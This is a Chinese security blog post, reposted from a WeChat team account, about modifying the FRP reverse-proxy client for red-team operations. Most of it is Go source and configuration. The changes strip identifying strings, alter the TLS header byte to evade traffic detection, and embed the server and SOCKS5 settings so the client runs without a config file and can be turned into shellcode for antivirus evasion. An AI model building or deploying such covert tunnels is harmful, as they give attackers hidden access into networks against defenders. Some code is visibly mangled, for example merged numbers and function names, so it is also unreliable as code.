记一次二开frp的思路

admin 2025年4月23日01:17:48评论0 views字数 21956阅读73分11秒阅读模式

在二开之前我们先认识一下FRP的使用

一、基础配置

(1)旧版0.48

该配置拿0.48版本的frp来做讲解,新版本的改为了toml配置,toml相比于原来的配置格式来说改动比较大的,本次二开以0.48旧版本ini配置为主

frpc.ini配置如下

[common]tls_enable = true#tls加密更加安全server_addr = 10.225.91.15#这里填服务端地址server_port = 9999#这里填frp程序端口protocol = kcp#使用kcp协议与C2互连[sock]type = tcpplugin = socks5remote_port = 27777plugin_user = ldhplugin_passwd = ldhuse_encryption = trueuse_compression = true

如果是单个端口映射则使用下面配置,不要使用kcp协议

[common]tls_enable = trueserver_addr = 1xx.xx.2xx.23xserver_port = 38412token = xxx[10571]type = tcplocal_ip = 192.168.2.211local_port = 10571remote_port = 10571use_encryption = trueuse_compression = true

frps.ini配置参数如下:

[common]bind_port = 9999#这里是绑定开辟的端口,与客户端一致kcp_bind_port = 9999#这里是将开辟的端口使用kcp协议,因为客户端也使用kcp协议token = 8412666dashboard_port = 10005#这里是配置网站端口,服务端启动后访问dashboard_user = admindashboard_pwd = adminlog_file = ./frps.log#保存记录文件log_level = infoallow_ports = 1-65535max_ports_per_client = 0

启动命令:

frpc -c frpc.ini

(2)新版0.58

个人不太喜欢使用0.52以后的版本,遂抛弃它

frp0.52后仅支持toml、yaml和json格式配置,抛弃了曾经的ini配置格式,这里主要讲解toml格式

frpc.ini配置参数如下:

serverAddr = "11.11.11.3"serverPort = 7001[[proxies]]name = "socks穿透"type = "tcp"#隧道协议类型remotePort = 6028[proxies.plugin]transport.tls.enable = true#启用tls加密,从 v0.50.0版本开始,transport.tls.enable的默认值为 truetype = "socks5"#类型为socks5transport.useEncryption = true   #传输加密,加密算法采用 aes-128-cfbtransport.useCompression = true   #传输压缩,压缩算法采用 snappy

frps.ini配置参数如下:

bindPort = 7000#服务端与客户端通信端口auth.method ="token"#不写默认为token验证方式auth.token = "public"#相当于旧版的tokenwebServer.addr = "0.0.0.0"#后台管理地址webServer.port = 7500#后台管理端口webServer.user = "admin"#后台登录用户名webServer.password = "admin"#后台登录密码

启动命令无太大变化

frpc -c frpc.toml

但是要注意一点,toml格式为什么我用不惯呢?除了布尔和数字类型的值,都得打上双引号,否则会报错error unmarshaling JSON: while decoding JSON: json: cannot unmarshal string into Go value of type v1.ClientConfig

由于我喜欢的几个参数都被剔除了(socks的账号密码,当然也可能是我没找到),官方和搜索引擎都找不到对应的参数,遂放弃研究0.52之后版本,此次大更血对开发者比较友好,对搞渗透的人来说其实不太友好

二、隐藏特征

参考文章:

https://www.freebuf.com/sectool/332824.html

(1)敏感字符隐藏

当客户端执行Frpc,当Frpc在向Frps建立TCP握手时,第一次握手的数据会带上非常明显的特征,FRP版本、系统架构、密钥、IP、甚至代理socks的用户名和密码都一览无余

因此要隐藏版本号(/pkg/util/version/version.go),随便修改,因为它不会影响任何功能,当然如果开启tls这个修改可以略过

还有/pkg/msg/msg.go中的敏感字符也改掉

记一次二开frp的思路
记一次二开frp的思路

(2)TLS加密与特征消除

如果frp没有启用tls_enable=true则交互都是明文,同时也推荐开启下面两个加密和压缩的功能

# frpc.ini[ssh]tls_enable=truetype = tcplocal_port = 22remote_port = 6000use_encryption = true#开启加密use_compression = true#对传输内容进行压缩,降低网络压力,但会增加CPU负担

(pkg/util/net/tls.go)开启TLS把头部字节0x17改成其他的十六进制数,frps也需要重新编译,否则frpc和frps的tls头字节对不上会导致报错

记一次二开frp的思路

tls_enable = true

开启TLS后的结果

记一次二开frp的思路

(3)深度剖析与二开

你是否想把frpc提取shellcode到内网做任何想做的事情?但是因为它本身需要搭配ini使用,非常麻烦,这里我二开的目的是为了:客户端隐藏配置文件+shellcode提取以便做免杀化处理

1)强制传参(抛弃)

一开始我想的是,就把所有server_addr、server_port、remote_port参数直接写死,但这里不推荐直接改,操作空间完全就不留余地,而且各个参数位置非常杂乱,找起来很麻烦,即使单独改了这些东西,也是需要有配置文件来触发后续的变量修改,还不如不改...

记一次二开frp的思路

2)内部传递ini配置(抛弃)

跟进ParseClientConfig函数

记一次二开frp的思路

继续跟进GetRenderedConfFromFile函数

记一次二开frp的思路

打断点一路跟过来,可以看到这里的b就是读的frpc.ini内容,我们使用fmt打印试试(问我为什么不调试?因为环境有点问题)

记一次二开frp的思路

成功打印出读取的内容,现在我们需要篡改b的内容

记一次二开frp的思路

直接重新定义b变量的内容为ini内容,并删除文件读取函数,防止找不到文件触发异常

记一次二开frp的思路
func GetRenderedConfFromFile(path string) (out []byte, err error) {var b []byteb = []byte(`[common]tls_enable = trueserver_addr = 1xx.xx.xxx.xx8server_port = 48412protocol = tcptoken = xxxxxx[sock]type = tcpplugin = socks5remote_port = 27777plugin_user = ldhplugin_passwd = ldhuse_encryption = trueuse_compression = true`)out, err = RenderContent(b)return}

此时文件已经写死了,我们将frpc.ini文件内容删除并执行frpc.exe,此时达到无配置执行

记一次二开frp的思路

在这里我们可以把端口设置成10000-65535的随机端口,尽量不要搞10000以下,怕端口冲突,再把名字更改为主机IP

import ("bytes""os""strings""text/template""math/rand""time""fmt""io/ioutil""net/http")funcGetPublicIP() (stringerror) {resp, err := http.Get("https://api.ipify.org")if err != nil {return "", err}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {return "", err}return string(body), nil}funcgetRandomPort(min, max int) int {rand.Seed(time.Now().UnixNano())return rand.Intn(max-min+1) + min}funcGetRenderedConfFromFile(path string) (out []byte, err error) {    ip, err := GetPublicIP()var b []byteb = []byte(`[common]tls_enable = trueserver_addr = 1xx.3x.xxx.xxxserver_port = 48412protocol = tcptoken = xxxxxx[sock]type = tcpplugin = socks5remote_port = 27777plugin_user = xxxxxxplugin_passwd = xxxxxxuse_encryption = trueuse_compression = true`)randomPort := getRandomPort(1000065535)randomPortStr := fmt.Sprintf("%d", randomPort)b = bytes.ReplaceAll(b, []byte("remote_port = 27777"), []byte("remote_port = "+randomPortStr))b = bytes.ReplaceAll(b, []byte("[sock]"), []byte("[" + ip + "]"))out, err = RenderContent(b)return}

有些时候IP可能会出错,就不检测IP了

import ("bytes""os""strings""text/template""math/rand""time""fmt")func getRandomPort(min, max int) int {rand.Seed(time.Now().UnixNano())return rand.Intn(max-min+1) + min}func GetRenderedConfFromFile(path string) (out []byte, err error) {var b []byteb = []byte(`[common]tls_enable = trueserver_addr = 10x.xx.2xx.23xserver_port = 48412protocol = tcptoken = xxxx[sock]type = tcpplugin = socks5remote_port = 27777plugin_user = xxxxxplugin_passwd = xxxxxuse_encryption = trueuse_compression = true`)    randomPort := getRandomPort(1000065535)    randomPortStr := fmt.Sprintf("%d", randomPort)b = bytes.ReplaceAll(b, []byte("remote_port = 27777"), []byte("remote_port = "+randomPortStr))b = bytes.ReplaceAll(b, []byte("[sock]"), []byte("[" + randomPortStr + "]"))    out, err = RenderContent(b)return}

3)外部传参

温馨提示:frps我没有做外部传参修改,攻防期间往往都是拿客户端搞事的,服务端还是老老实实配ini吧,因为我懒!

frp执行的逻辑为:箭头中所指向的模块,如果我传参输入什么名字,它就会走到哪个模块中

记一次二开frp的思路
记一次二开frp的思路

在进入tcp.go、udp.go之类的模块条件是要传递模块名称,否则进入root.go,其中root.go内部也定义了一些参数

记一次二开frp的思路

打断点一路跟过来发现这里强制要求传local_ip和local_port,众所周知socks端口的映射无需填写上面两个内容,从这里来看作者貌似把路给写死了,同时在root.go和tcp.go中并无plugin = socks5这个参数项

记一次二开frp的思路

找了半天也不知道socks5的入口在哪里,只知道读ini配置文件可以加plugin=socks5这个参数,只能继续按断点走,先配置好对应的文件,因为目前传参是没法开启socks5的,只有传配置文件路径才行

记一次二开frp的思路

在main.go中下断点

记一次二开frp的思路

走到Execute,内部执行rootCmd

记一次二开frp的思路

到rootCmd下断点,可以看到这里判断了是否传递配置文件ini的路径

记一次二开frp的思路

最终走到runClient

记一次二开frp的思路

在runClient下断

记一次二开frp的思路

可以看到cfg和pxyCfgs包含了frpc.ini中的配置

记一次二开frp的思路
记一次二开frp的思路

接下来我们就需要对这里的内容进行写死操作

funcrunClient(cfgFilePath string) error {cfg, pxyCfgs, visitorCfgs, err := config.ParseClientConfig(cfgFilePath)if err != nil {return err}err = nilcfg.ClientConfig.BaseConfig.AuthenticationMethod = "token"cfg.ClientConfig.BaseConfig.AuthenticateHeartBeats = falsecfg.ClientConfig.BaseConfig.AuthenticateNewWorkConns = falsecfg.OidcClientConfig.OidcClientID = ""cfg.OidcClientConfig.OidcClientSecret = ""cfg.OidcClientConfig.OidcAudience = ""cfg.OidcClientConfig.OidcScope = ""cfg.OidcClientConfig.OidcTokenEndpointURL = ""cfg.OidcClientConfig.OidcAdditionalEndpointParams = nilcfg.ClientConfig.TokenConfig.Token = "xxx"//这里写tokencfg.ServerAddr = "10x.3x.xxx.xxx"//这里写IPcfg.ServerPort = 38412//这里写端口cfg.DialServerTimeout = 10cfg.DialServerKeepAlive = 7200cfg.ConnectServerLocalIP = ""cfg.HTTPProxy = ""cfg.LogFile = "console"cfg.LogWay = "console"cfg.LogLevel = "info"cfg.LogMaxDays = 3cfg.DisableLogColor = falsecfg.AdminAddr = "127.0.0.1"cfg.AdminPort = 0cfg.AdminUser = ""cfg.AdminPwd = ""cfg.AssetsDir = ""cfg.PoolCount = 1cfg.TCPMux = truecfg.TCPMuxKeepaliveInterval = 60cfg.User = ""cfg.DNSServer = ""cfg.LoginFailExit = truecfg.Start = []string{}cfg.Protocol = "tcp"cfg.QUICKeepalivePeriod = 10cfg.QUICMaxIdleTimeout = 30cfg.QUICMaxIncomingStreams = 100000cfg.TLSEnable = truecfg.TLSCertFile = ""cfg.TLSKeyFile = ""cfg.TLSTrustedCaFile = ""cfg.TLSServerName = ""cfg.DisableCustomTLSFirstByte = falsecfg.HeartbeatInterval = 30cfg.HeartbeatTimeout = 90cfg.Metas = nilcfg.UDPPacketSize = 1500cfg.IncludeConfigFiles = []string{}cfg.PprofEnable = false//pxyCfgs := make(map[string]config.ProxyConf)pxyCfgs["sock2"] = &config.TCPProxyConf{BaseProxyConf: config.BaseProxyConf{ProxyName:            "sock2",ProxyType:            "tcp",UseEncryption:        true,UseCompression:       true,Group:                "",GroupKey:             "",ProxyProtocolVersion: "",//BandwidthLimit:       config.BandwidthQuantity{s: "", i: 0},BandwidthLimitMode: "client",Metas:              nil,},LocalSvrConf: config.LocalSvrConf{LocalIP:      "127.0.0.1",LocalPort:    0,Plugin:       "socks5",PluginParams: make(map[string]string), // 空的 map},HealthCheckConf: config.HealthCheckConf{HealthCheckType:      "",HealthCheckTimeoutS:  0,HealthCheckMaxFailed: 0,HealthCheckIntervalS: 0,HealthCheckURL:       "",HealthCheckAddr:      "",},RemotePort: 27776// 设置 RemotePort}return startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)}

但这里存在一个问题,cfg、pxyCfgs都是ParseClientConfig函数返回的结构体,在外部必须先被函数内部定义才能进行赋值,所以我们只能把cfg、pxyCfgs的值写死在函数内部,在内部中返回写死的值,或者把结构体搬到root.go中,但是我疏忽了一点!cfg和pxyCfgs结构体最终是被放进startService函数启动的!我们完全可以在startService函数中定义所有配置参数

funcstartService(cfg config.ClientCommonConf,pxyCfgs map[string]config.ProxyConf,visitorCfgs map[string]config.VisitorConf,cfgFile string,) (err error) {cfg.ClientConfig.BaseConfig.AuthenticationMethod = "token"cfg.ClientConfig.BaseConfig.AuthenticateHeartBeats = falsecfg.ClientConfig.BaseConfig.AuthenticateNewWorkConns = falsecfg.OidcClientConfig.OidcClientID = ""cfg.OidcClientConfig.OidcClientSecret = ""cfg.OidcClientConfig.OidcAudience = ""cfg.OidcClientConfig.OidcScope = ""cfg.OidcClientConfig.OidcTokenEndpointURL = ""cfg.OidcClientConfig.OidcAdditionalEndpointParams = nilcfg.ClientConfig.TokenConfig.Token = "xxx"//这里放tokencfg.ServerAddr = "10x.xx.xxx.xxx"//这里放ipcfg.ServerPort = 38412//这里放端口cfg.DialServerTimeout = 10cfg.DialServerKeepAlive = 7200cfg.ConnectServerLocalIP = ""cfg.HTTPProxy = ""cfg.LogFile = "console"cfg.LogWay = "console"cfg.LogLevel = "info"cfg.LogMaxDays = 3cfg.DisableLogColor = falsecfg.AdminAddr = "127.0.0.1"cfg.AdminPort = 0cfg.AdminUser = ""cfg.AdminPwd = ""cfg.AssetsDir = ""cfg.PoolCount = 1cfg.TCPMux = truecfg.TCPMuxKeepaliveInterval = 60cfg.User = ""cfg.DNSServer = ""cfg.LoginFailExit = truecfg.Start = []string{}cfg.Protocol = "tcp"cfg.QUICKeepalivePeriod = 10cfg.QUICMaxIdleTimeout = 30cfg.QUICMaxIncomingStreams = 100000cfg.TLSEnable = truecfg.TLSCertFile = ""cfg.TLSKeyFile = ""cfg.TLSTrustedCaFile = ""cfg.TLSServerName = ""cfg.DisableCustomTLSFirstByte = falsecfg.HeartbeatInterval = 30cfg.HeartbeatTimeout = 90cfg.Metas = nilcfg.UDPPacketSize = 1500cfg.IncludeConfigFiles = []string{}cfg.PprofEnable = false//pxyCfgs := make(map[string]config.ProxyConf)pxyCfgs["sock2"] = &config.TCPProxyConf{BaseProxyConf: config.BaseProxyConf{ProxyName:            "sock2",ProxyType:            "tcp",UseEncryption:        true,UseCompression:       true,Group:                "",GroupKey:             "",ProxyProtocolVersion: "",//BandwidthLimit:       config.BandwidthQuantity{s: "", i: 0},BandwidthLimitMode: "client",Metas:              nil,},LocalSvrConf: config.LocalSvrConf{LocalIP:      "127.0.0.1",LocalPort:    0,Plugin:       "socks5",PluginParams: make(map[string]string), // 空的 map},HealthCheckConf: config.HealthCheckConf{HealthCheckType:      "",HealthCheckTimeoutS:  0,HealthCheckMaxFailed: 0,HealthCheckIntervalS: 0,HealthCheckURL:       "",HealthCheckAddr:      "",},RemotePort: 27776// 设置 RemotePort}log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,cfg.LogMaxDays, cfg.DisableLogColor)if cfgFile != "" {log.Trace("start frpc service for config file [%s]", cfgFile)defer log.Trace("frpc service for config file [%s] stopped", cfgFile)}svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)if errRet != nil {err = errRetreturn}closedDoneCh := make(chan struct{})shouldGracefulClose := cfg.Protocol == "kcp" || cfg.Protocol == "quic"// Capture the exit signal if we use kcp or quic.if shouldGracefulClose {go handleSignal(svr, closedDoneCh)}err = svr.Run()if err == nil && shouldGracefulClose {<-closedDoneCh}return}

接下来就是让frpc明白一个道理!即使没有frpc.ini,你也要自己生成一个模板

在前面内部传参中提到过,GetRenderedConfFromFile函数内部读取了ini文件的内容,返回给了content,我们可以把err!=nil注释,把content内容设置为非空,这样就弥补了作者没有预留socks5外部传参的遗憾了!

记一次二开frp的思路
记一次二开frp的思路

接下来就可以直接运行了,跟内部传递ini配置比较像,只不过换到外部来定义content了

记一次二开frp的思路

接下来我们的所有socks配置都可以在root.go中随意设置了,再也不用像前面一样还要用占位符和replace去更改变量,那样很low又很奇怪

记一次二开frp的思路

接下来就是解决传参问题了,上半部分init才是真正的传参,下半部分的传参必须要带上协议名称,例如frpc.exe tcp -s这种才行,直接输入frpc.exe -s是不行的,默认是在init中接收参数

后续你会发现不仅加载了ini中设置的默认模板内容,还加载了我们传参的配置,不管那么多原因了,我们打断点看cfg的格式

记一次二开frp的思路记一次二开frp的思路

此时我们需要将我们写的默认值改掉,不要原封不动的去再次映射定义pxyCfgs,因为它的结构属性非常复杂,一个个手动赋值比较麻烦。

注意真正的socks密码藏在了BaseProxyConf.LocalSvrConf.PluginParams,而不是LocalSvrConf.PluginParams,这里耗费了我半天时间!!!

记一次二开frp的思路

这里是假的密码,不知道作用是什么,没空研究

记一次二开frp的思路
这里我犯了一个错误,是重新去定义pxyCfgs结构体,庞大的结构让我脑袋懵懵的,加上本身不懂GO语言的结构性质让我改变了创建新结构的想法,重新定义的代码如下(错误示范):
pxyCfgs[Name3] = &config.TCPProxyConf{    BaseProxyConf: config.BaseProxyConf{        ProxyName:            Name3,        ProxyType:            "tcp",        UseEncryption:        true,        UseCompression:       true,        Group:                "",        GroupKey:             "",        ProxyProtocolVersion: "",        //BandwidthLimit:       config.BandwidthQuantity{s: "", i: 0},        BandwidthLimitMode: "client",        Metas:              nil,    },    LocalSvrConf: config.LocalSvrConf{        LocalIP:      "127.0.0.1",        LocalPort:    0,        Plugin:       "socks5",        PluginParams: make(map[string]string), // 空的 map    },    HealthCheckConf: config.HealthCheckConf{        HealthCheckType:      "",        HealthCheckTimeoutS:  0,        HealthCheckMaxFailed: 0,        HealthCheckIntervalS: 0,        HealthCheckURL:       "",        HealthCheckAddr:      "",    },    RemotePort: 27776// 设置 RemotePort}

正确代码如下,修改map,而不是创建一个新的pxyCfgs,同时要注意一点,pxyCfgs的键名与proxyName必须一致,如果光改动proxyName不改键值会提示找不到该配置

if tcpConf, ok := pxyCfgs["socks5--ban"].(*config.TCPProxyConf); ok {if tcpConf.LocalSvrConf.PluginParams == nil {tcpConf.LocalSvrConf.PluginParams = make(map[string]string)}tcpConf.BaseProxyConf.LocalSvrConf.PluginParams["plugin_user"] = userAccount3tcpConf.BaseProxyConf.LocalSvrConf.PluginParams["plugin_passwd"] = userPassword3tcpConf.BaseProxyConf.ProxyName = Name3tcpConf.RemotePort = remotePort3else {fmt.Println("Failed to assert type to *config.TCPProxyConf")}newKey := Name3if val, ok := pxyCfgs["socks5--ban"]; ok {pxyCfgs[newKey] = val          // 添加新键值对delete(pxyCfgs, "socks5--ban"// 删除旧键else {fmt.Println("Key 'socks5--ban' not found")}

总结:

root.go

package subimport ("fmt""io/fs""net""os""os/signal""path/filepath""strconv""sync""syscall""time""github.com/spf13/cobra""github.com/fatedier/frp/client""github.com/fatedier/frp/pkg/auth""github.com/fatedier/frp/pkg/config""github.com/fatedier/frp/pkg/util/log""github.com/fatedier/frp/pkg/util/version")const (CfgFileTypeIni = iotaCfgFileTypeCmd)var (cfgFile     stringcfgDir      stringshowVersion boolserverAddr      stringuser            stringprotocol        stringtoken           stringlogLevel        stringlogFile         stringlogMaxDays      intdisableLogColor boolproxyName          stringlocalIP            stringlocalPort          intremotePort         intuseEncryption      booluseCompression     boolbandwidthLimit     stringbandwidthLimitMode stringcustomDomains      stringsubDomain          stringhttpUser           stringhttpPwd            stringlocations          stringhostHeaderRewrite  stringrole               stringsk                 stringmultiplexer        stringserverName         stringbindAddr           stringbindPort           inttlsEnable boolserverAddr3   stringserverPort3   intToken3        stringName3         stringuserAccount3  stringuserPassword3 stringremotePort3   int)funcinit() {rootCmd.PersistentFlags().StringVarP(&cfgFile, "config""c""./frpc.ini""config file of frpc")rootCmd.PersistentFlags().StringVarP(&cfgDir, "config_dir""""""config directory, run one frpc service for each file in config directory")rootCmd.PersistentFlags().BoolVarP(&showVersion, "version""v"false"version of frpc")rootCmd.PersistentFlags().StringVarP(&serverAddr3, "server_Addr3""i""""")rootCmd.PersistentFlags().IntVarP(&serverPort3, "server_Port3""p"80"")rootCmd.PersistentFlags().StringVarP(&Token3, "Token3""t""null""")rootCmd.PersistentFlags().StringVarP(&Name3, "Name3""n""null""")rootCmd.PersistentFlags().StringVarP(&userAccount3, "userAccount3""u""admin""")rootCmd.PersistentFlags().StringVarP(&userPassword3, "userPassword3""P""admin!@#666""")rootCmd.PersistentFlags().IntVarP(&remotePort3, "remotePassword3""r"65532"")}funcRegisterCommonFlags(cmd *cobra.Command) {cmd.PersistentFlags().StringVarP(&serverAddr, "server_addr""s""127.0.0.1:7000""frp server's address")cmd.PersistentFlags().StringVarP(&user, "user""u""""user")cmd.PersistentFlags().StringVarP(&protocol, "protocol""p""tcp""tcp or kcp or websocket")cmd.PersistentFlags().StringVarP(&token, "token""t""""auth token")cmd.PersistentFlags().StringVarP(&logLevel, "log_level""""info""log level")cmd.PersistentFlags().StringVarP(&logFile, "log_file""""console""console or file path")cmd.PersistentFlags().IntVarP(&logMaxDays, "log_max_days"""3"log file reversed days")cmd.PersistentFlags().BoolVarP(&disableLogColor, "disable_log_color"""false"disable log color in console")cmd.PersistentFlags().BoolVarP(&tlsEnable, "tls_enable"""false"enable frpc tls")}var rootCmd = &cobra.Command{Use:   "frpc",Short: "frpc is the client of frp (https://github.com/fatedier/frp)",RunE: func(cmd *cobra.Command, args []string) error {if showVersion {fmt.Println(version.Full())return nil}// If cfgDir is not empty, run multiple frpc service for each config file in cfgDir.// Note that it's only designed for testing. It's not guaranteed to be stable.if cfgDir != "" {var wg sync.WaitGroup_ = filepath.WalkDir(cfgDir, func(path string, d fs.DirEntry, err error) error {if err != nil {return nil}if d.IsDir() {return nil}wg.Add(1)time.Sleep(time.Millisecond)go func() {defer wg.Done()err := runClient(path)if err != nil {fmt.Printf("frpc service error for config file [%s]n", path)}}()return nil})wg.Wait()return nil}// Do not show command usage here.err := runClient(cfgFile)if err != nil {fmt.Println(err)os.Exit(1)}return nil},}funcExecute() {if err := rootCmd.Execute(); err != nil {os.Exit(1)}}funchandleSignal(svr *client.Service, doneCh chanstruct{}) {ch := make(chan os.Signal, 1)signal.Notify(ch, syscall.SIGINT, syscall.SIGTERM)<-chsvr.GracefulClose(500 * time.Millisecond)close(doneCh)}funcparseClientCommonCfgFromCmd() (cfg config.ClientCommonConf, err error) {cfg = config.GetDefaultClientConf()ipStr, portStr, err := net.SplitHostPort(serverAddr)if err != nil {err = fmt.Errorf("invalid server_addr: %v", err)return}cfg.ServerAddr = ipStrcfg.ServerPort, err = strconv.Atoi(portStr)if err != nil {err = fmt.Errorf("invalid server_addr: %v", err)return}cfg.User = usercfg.Protocol = protocolcfg.LogLevel = logLevelcfg.LogFile = logFilecfg.LogMaxDays = int64(logMaxDays)cfg.DisableLogColor = disableLogColor// Only token authentication is supported in cmd modecfg.ClientConfig = auth.GetDefaultClientConf()cfg.Token = tokencfg.TLSEnable = tlsEnablecfg.Complete()if err = cfg.Validate(); err != nil {err = fmt.Errorf("parse config error: %v", err)return}return}funcrunClient(cfgFilePath string) error {cfg, pxyCfgs, visitorCfgs, err := config.ParseClientConfig(cfgFilePath)if err != nil {return err}return startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)}funcstartService(cfg config.ClientCommonConf,pxyCfgs map[string]config.ProxyConf,visitorCfgs map[string]config.VisitorConf,cfgFile string,) (err error) {cfg.ClientConfig.TokenConfig.Token = Token3cfg.ServerAddr = serverAddr3cfg.ServerPort = serverPort3if tcpConf, ok := pxyCfgs["socks5--ban"].(*config.TCPProxyConf); ok {if tcpConf.LocalSvrConf.PluginParams == nil {tcpConf.LocalSvrConf.PluginParams = make(map[string]string)}tcpConf.BaseProxyConf.LocalSvrConf.PluginParams["plugin_user"] = userAccount3tcpConf.BaseProxyConf.LocalSvrConf.PluginParams["plugin_passwd"] = userPassword3tcpConf.BaseProxyConf.ProxyName = Name3tcpConf.RemotePort = remotePort3else {fmt.Println("Failed to assert type to *config.TCPProxyConf")}newKey := Name3if val, ok := pxyCfgs["socks5--ban"]; ok {pxyCfgs[newKey] = val          // 添加新键值对delete(pxyCfgs, "socks5--ban"// 删除旧键else {fmt.Println("Key 'socks5--ban' not found")}log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,cfg.LogMaxDays, cfg.DisableLogColor)if cfgFile != "" {log.Trace("start frpc service for config file [%s]", cfgFile)defer log.Trace("frpc service for config file [%s] stopped", cfgFile)}svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)if errRet != nil {err = errRetreturn}closedDoneCh := make(chan struct{})shouldGracefulClose := cfg.Protocol == "kcp" || cfg.Protocol == "quic"// Capture the exit signal if we use kcp or quic.if shouldGracefulClose {go handleSignal(svr, closedDoneCh)}err = svr.Run()if err == nil && shouldGracefulClose {<-closedDoneCh}return}

parse.go

package configimport ("bytes""fmt""os""path/filepath")funcParseClientConfig(filePath string) (cfg ClientCommonConf,pxyCfgs map[string]ProxyConf,visitorCfgs map[string]VisitorConf,err error,) {var content []byte//content, err = GetRenderedConfFromFile(filePath)//if err != nil {//return//}content = []byte(`[common]tls_enable = trueserver_addr = 1.1.1.1server_port = 11111protocol = tcptoken = 12345[socks5--ban]type = tcpplugin = socks5remote_port = 12345plugin_user = 12345plugin_passwd = 12345use_encryption = trueuse_compression = true`)configBuffer := bytes.NewBuffer(nil)configBuffer.Write(content)// Parse common section.cfg, err = UnmarshalClientConfFromIni(content)if err != nil {return}cfg.Complete()if err = cfg.Validate(); err != nil {err = fmt.Errorf("parse config error: %v", err)return}// Aggregate proxy configs from include files.var buf []bytebuf, err = getIncludeContents(cfg.IncludeConfigFiles)if err != nil {err = fmt.Errorf("getIncludeContents error: %v", err)return}configBuffer.WriteString("n")configBuffer.Write(buf)// Parse all proxy and visitor configs.pxyCfgs, visitorCfgs, err = LoadAllProxyConfsFromIni(cfg.User, configBuffer.Bytes(), cfg.Start)if err != nil {return}return}// getIncludeContents renders all configs from paths.// files format can be a single file path or directory or regex path.funcgetIncludeContents(paths []string) ([]byteerror) {out := bytes.NewBuffer(nil)for _, path := range paths {absDir, err := filepath.Abs(filepath.Dir(path))if err != nil {return nil, err}if _, err := os.Stat(absDir); os.IsNotExist(err) {return nil, err}files, err := os.ReadDir(absDir)if err != nil {return nil, err}for _, fi := range files {if fi.IsDir() {continue}absFile := filepath.Join(absDir, fi.Name())if matched, _ := filepath.Match(filepath.Join(absDir, filepath.Base(path)), absFile); matched {tmpContent, err := GetRenderedConfFromFile(absFile)if err != nil {return nil, fmt.Errorf("render extra config %s error: %v", absFile, err)}out.Write(tmpContent)out.WriteString("n")}}}return out.Bytes(), nil}

(4)编译

修改完上面的几点以后就可以开始进行编译了

go build main.go

编译时github下载慢可以更换go代理

记一次二开frp的思路
go env -w GO111MODULE=ongo env -w GOPROXY=https://goproxy.cn

frpc直接输入命令go build main.go一切正常

frps编译时报错如下,发现Execute函数存在于root.go中,该写法是对的,为什么go解释器认为该函数未定义提示undefined:Execute?

记一次二开frp的思路

查询相关资料

https://blog.csdn.net/xiao_xiao_w/article/details/133840235

编译语句把main.go改为.代表所有模块

go build .

即可解决

记一次二开frp的思路

如果想在windows上编译elf,则可以交叉编译

SET CGO_ENABLED=0SET GOOS=linuxSET GOARCH=amd64go build main.go

上面的设置是暂时的,不用担心下次编译exe会一直编译elf的情况,所以不用担心还原的问题

(5)使用

假设我的服务端IP为8.8.8.8

./frps -c 你的配置.ini
记一次二开frp的思路
frpc.exe -i 8.8.8.8 -p 38412 -t mssys666 -r 61111 -u mssys -P 123456
记一次二开frp的思路
这里有小伙伴会问:你这里的配置都是明文传参呀!即使褪去了ini或toml的加载,蓝队依然可以看到明文配置
其实这里我前面已经提到过了,二开传参的目的是为了剔除frpc对配置文件的依赖,这样提取出来的shellcode才方便运行,至于传参,我完全可以放在loader中去做,如果是直接拿来使用,还需要做一下加密处理!
本期文章就到这里!!
感兴趣的小伙伴们可以关注我,后期会继续更新各种EDR/杀软的持久化、C2(CobaltStrike)高效化、工具二开、红队攻防演练思路。

原文始发于微信公众号(奉天安全团队):记一次二开frp的思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日01:17:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次二开frp的思路https://cn-sec.com/archives/3969801.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息